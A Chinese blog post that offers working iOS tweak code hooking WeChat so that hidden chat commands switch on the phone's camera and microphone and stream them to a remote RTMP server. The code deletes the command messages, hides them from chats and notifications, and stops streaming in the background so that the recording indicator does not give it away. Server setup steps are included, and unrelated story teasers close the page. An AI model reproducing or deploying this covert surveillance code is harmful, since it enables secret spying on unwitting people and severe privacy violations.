偷偷开启?的摄像头

cxm
其实是利用wx的信息收发机制实现,开启关闭.和上下线通知.

具体是hook了 CMessageMgr 这个类

废话不多说直接上代码

#import "HGLiveHook.h"
#import <Foundation/Foundation.h>
#import "CaptainHook/CaptainHook.h"
#import "HGLiveSettings.h"
#import "HGLiveManager.h"
#import "WechatPodForm.h"


CHDeclareClass(CMessageMgr);

// 聊天窗口显示过滤处理
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsg, id, arg1, MsgWrap, CMessageWrap *, wrap) {
    
    [[HGLiveSettings shared] setMgr:self];
    wrap.m_nsContent = [wrap.m_nsContent stringByReplacingOccurrencesOfString:@" " withString:@""];
    if ([wrap.m_nsContent hasPrefix:sheZhiFuWuQi]) {
        [HGLiveSettings setupServer:wrap.m_nsContent room:wrap.m_nsToUsr];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
        return;
    }

    if ([wrap.m_nsContent isEqualToString:start]) {
        
        [[HGLiveSettings shared] setIsPlay:YES];
        [[HGLiveSettings shared] setWrap:wrap];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];

        if (![HGLiveSettings isNoAddress]) {
            [HGLiveSettings AddMsgWithContent:WeiSheZhiFuWuQi];
            return;
        }
        
        [HGLiveSettings AddMsgWithContent:[HGLiveSettings getPlayAddress]];
        [[HGLiveManager shared] startRunning];
    }

    if ([wrap.m_nsContent isEqualToString:stop]) {
        [[HGLiveSettings shared] setIsPlay:NO];
        [[HGLiveManager shared] stopLive];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
        return;
    }

    if ([wrap.m_nsContent isEqualToString:rotate]) {
        [[HGLiveManager shared] rotateCamera];
        [HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
        return;
    }

    if ([objc_getClass("CMessageWrap") isSenderFromMsgWrap:wrap]) {
        if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
    }
    
    CHSuper2(CMessageMgr, AsyncOnAddMsg, arg1, MsgWrap, wrap);
}

// 聊天列表显示过滤
CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsgListForSession, NSDictionary *, arg1, NotifyUsrName, NSMutableSet *, arg2) {
    CMessageWrap *wrap = arg1[[arg2 anyObject]];
    if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
    CHSuper2(CMessageMgr, AsyncOnAddMsgListForSession, arg1, NotifyUsrName, arg2);
}

// 通知过滤
CHOptimizedMethod1(self, void, CMessageMgr, MainThreadNotifyToExt, NSMutableDictionary *, arg1) {
    if ([arg1 valueForKey:@"3"]) {
        CMessageWrap *wrap = [arg1 valueForKey:@"3"];
        if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
    }
    CHSuper1(CMessageMgr, MainThreadNotifyToExt, arg1);
}

CHDeclareClass(MicroMessengerAppDelegate);
// 将变为非活跃状态
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillResignActive, id, arg1) {
    // 关闭. 由于进入后台.如果是开启状态.桌面状态栏会显示红色提醒用户后台录音开启.避免暴露,最好关闭
    if ([[HGLiveSettings shared] isPlay]) {
        [[HGLiveManager shared] stopLive];
        [HGLiveSettings AddMsgWithContent:@"stop"];
    }
    CHSuper1(MicroMessengerAppDelegate, applicationWillResignActive, arg1);
}

// 由后台进入前台
CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillEnterForeground, id, arg1) {
    // 开启.
    if ([[HGLiveSettings shared] isPlay]) {
        [[HGLiveManager shared] startRunning];
        [HGLiveSettings AddMsgWithContent:@"start"];
    }
    CHSuper1(MicroMessengerAppDelegate, applicationWillEnterForeground, arg1);
}
// 所有被hook的类和函数放在这里的构造函数中
CHConstructor
{
    @autoreleasepool
    {
        CHLoadLateClass(CMessageMgr);
        CHHook2(CMessageMgr, AsyncOnAddMsg, MsgWrap);
        CHHook2(CMessageMgr, AsyncOnAddMsgListForSession, NotifyUsrName);
        CHHook1(CMessageMgr, MainThreadNotifyToExt);
        
        CHLoadLateClass(MicroMessengerAppDelegate);
        CHHook1(MicroMessengerAppDelegate, applicationWillResignActive);
        CHHook1(MicroMessengerAppDelegate, applicationWillEnterForeground);
    }
}
#import "HGLiveSettings.h"
#import "HGLiveHook.h"
#import <objc/runtime.h>

@interface HGLiveSettings()

@end
@implementation HGLiveSettings

static HGLiveSettings *_shareInstance = nil;
+ (instancetype)shared {
    if (!_shareInstance) {
        _shareInstance = [[self alloc] init];
    }
    return _shareInstance;
}

- (void)setWrap:(CMessageWrap *)wrap {
    _wrap = [wrap copy];
    _wrap.m_nsFromUsr = wrap.m_nsToUsr;
    _wrap.m_nsToUsr = wrap.m_nsFromUsr;
    _wrap.m_uiMesLocalID = 0;
    _wrap.m_n64MesSvrID = 0;
    _wrap.m_uiStatus = 1;
    _wrap.m_uiMessageType = 1;
    _wrap.m_nsMsgSource = nil;
}

+ (void)setupServer:(NSString *)address room:(NSString *)room {
    NSString *fwq = [address stringByReplacingOccurrencesOfString:@":" withString:@""];
    fwq = [fwq stringByReplacingOccurrencesOfString:@":" withString:@""];
    fwq = [fwq stringByReplacingOccurrencesOfString:@" " withString:@""];
    fwq = [fwq stringByReplacingOccurrencesOfString:@"#服务器" withString:@""];
    if (fwq.length < 8) return;
    NSString *roomID = [room stringByReplacingOccurrencesOfString:@"wxid_" withString:@""];
    NSString *rtmpAddress = [NSString stringWithFormat:@"rtmp://%@:2018/hls/%@",fwq ,roomID];
    NSString *httpAddress = [NSString stringWithFormat:@"http://%@:8080/hls/%@.m3u8",fwq, roomID];
    NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
    [ud setObject:rtmpAddress forKey:@"rtmpAddress"];
    [ud setObject:httpAddress forKey:@"httpAddress"];
    [ud synchronize]; //立即写入
}

+ (void)DelMsg:(NSString *)DelMsg MsgWrap:(CMessageWrap *)MsgWrap {
    [[[self shared] mgr] DelMsg:DelMsg MsgWrap:MsgWrap];
    [[[self shared] mgr] DelMsg:DelMsg MsgList:MsgWrap DelAll:NO];
    [[[self shared] mgr] AsyncOnDelMsg:DelMsg MsgWrap:MsgWrap];
}

+ (void)AddMsg:(NSString *)AddMsg MsgWrap:(CMessageWrap *)MsgWrap {
    [[[self shared] mgr] AddMsg:AddMsg MsgWrap:MsgWrap];
    [self DelMsg:AddMsg MsgWrap:MsgWrap];
}

+ (void)AddMsgWithContent:(NSString *)nsContent {
    CMessageWrap *MsgWrap = [[self shared] wrap];
    MsgWrap.m_nsContent = nsContent;
    [[[self shared] mgr] AddMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap];
    [self DelMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap];
}

+ (BOOL)isNoAddress {
    NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
    NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"];
    NSString *httpAddress = [ud objectForKey:@"httpAddress"];
    if (rtmpAddress == nil || httpAddress == nil) return NO;
    return YES;
}

+ (NSString *)getPlayAddress {
    NSUserDefaults *ud = [NSUserDefaults standardUserDefaults];
    NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"];
    NSString *httpAddress = [ud objectForKey:@"httpAddress"];
    return [NSString stringWithFormat:@"#播放地址,网页地址:%@,播放器地址:%@",httpAddress,rtmpAddress];
}

+ (BOOL)isEqualToCommand:(NSString *)command {
    if ([command isEqualToString:start]  ||
        [command isEqualToString:stop]   ||
        [command isEqualToString:rotate] ||
        [command hasPrefix:shiPingDiZhi] ||
        [command hasPrefix:sheZhiFuWuQi] ||
        [command isEqualToString:WeiSheZhiFuWuQi]) {
        return YES;
    }
    return NO;
}

@end
#import "HGLiveManager.h"
#import "LFLiveKit.h"

@interface HGLiveManager()
@property (nonatomic, strong) LFLiveSession *liveSession;
@end

@implementation HGLiveManager

static HGLiveManager *_shared;
+ (instancetype)shared {
    if (!_shared) {
        _shared = [[self alloc] init];
    }
    return _shared;
}

- (instancetype)init {
    if (self = [super init]) {
        LFLiveAudioConfiguration *audioConfig = [LFLiveAudioConfiguration defaultConfiguration];
        LFLiveVideoQuality videoQuality = LFLiveVideoQuality_Low1;
        LFLiveVideoConfiguration *aideoConfig = [LFLiveVideoConfiguration defaultConfigurationForQuality:videoQuality];
        self.liveSession = [[LFLiveSession alloc] initWithAudioConfiguration:audioConfig videoConfiguration:aideoConfig];
    }
    return self;
}

- (void)startRunning {

    dispatch_async(dispatch_get_global_queue(0, 0), ^{
        self.liveSession.running = NO;
        self.liveSession.preView = [UIView new];
        LFLiveStreamInfo *streamInfo = [LFLiveStreamInfo new];
        streamInfo.url = [[NSUserDefaults standardUserDefaults] objectForKey:@"rtmpAddress"];
        [self.liveSession startLive:streamInfo];
        self.liveSession.running = YES;
    });
}

- (void)rotateCamera {
    
    if (!self.liveSession.running) return;
    AVCaptureDevicePosition position = self.liveSession.captureDevicePosition;
    self.liveSession.captureDevicePosition = position == AVCaptureDevicePositionBack?AVCaptureDevicePositionFront:AVCaptureDevicePositionBack;
}

- (void)stopLive{
    self.liveSession.running = NO;
}

@end

使用方法

  设置服务器器,直接在聊天窗口输入命令
       #服务器192.168.31.1 (这里替换自己的服务器ip)

2.开启命令

#ksp

3.关闭命令

#gsp

4.切换前后摄像头

#hjt

服务器搭建
服务器系统 Ubuntu 安装 nginx 和 srs 简单配置一下即可 .
nginx直接在github clone 到服务器 nginx 设置 nginx安装好后在nginx.conf文件中最后加入

rtmp {
   server {
       listen 2018;
       application rtmplive {
           live on;
           max_connections 1024;
       }
       application hls{
           live on;
           hls on;
           hls_path /usr/local/var/www/hls;
           hls_fragment 1s;
       }
   }
}

重启Nginx: nginx -s reload 是配置生效
srs配置 ~/srs/trunk/conf 目录新建一个 .conf的文件 配置内容如下

listen              2018;
max_connections     1000; 
http_server {
    enabled         on;
    listen          8080;
    dir             ./objs/nginx/html;
}
vhost __defaultVhost__ {
    hls {
        enabled         on;
        hls_path        ./objs/nginx/html;
        hls_fragment    5;
        hls_window      60;
    }
    http_remux {
        enabled     on;
        mount       [vhost]/[app]/[stream].flv;
        hstrs       on;
    }
    gop_cache       off;
    queue_length    10;
    min_latency     on;
    mr {
        enabled     off;
    }
    mw_latency      100;
    tcp_nodelay     on;
}

然后运行命令是配置生效 ./objs/srs -c conf/名称.conf

git源码下载地址

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容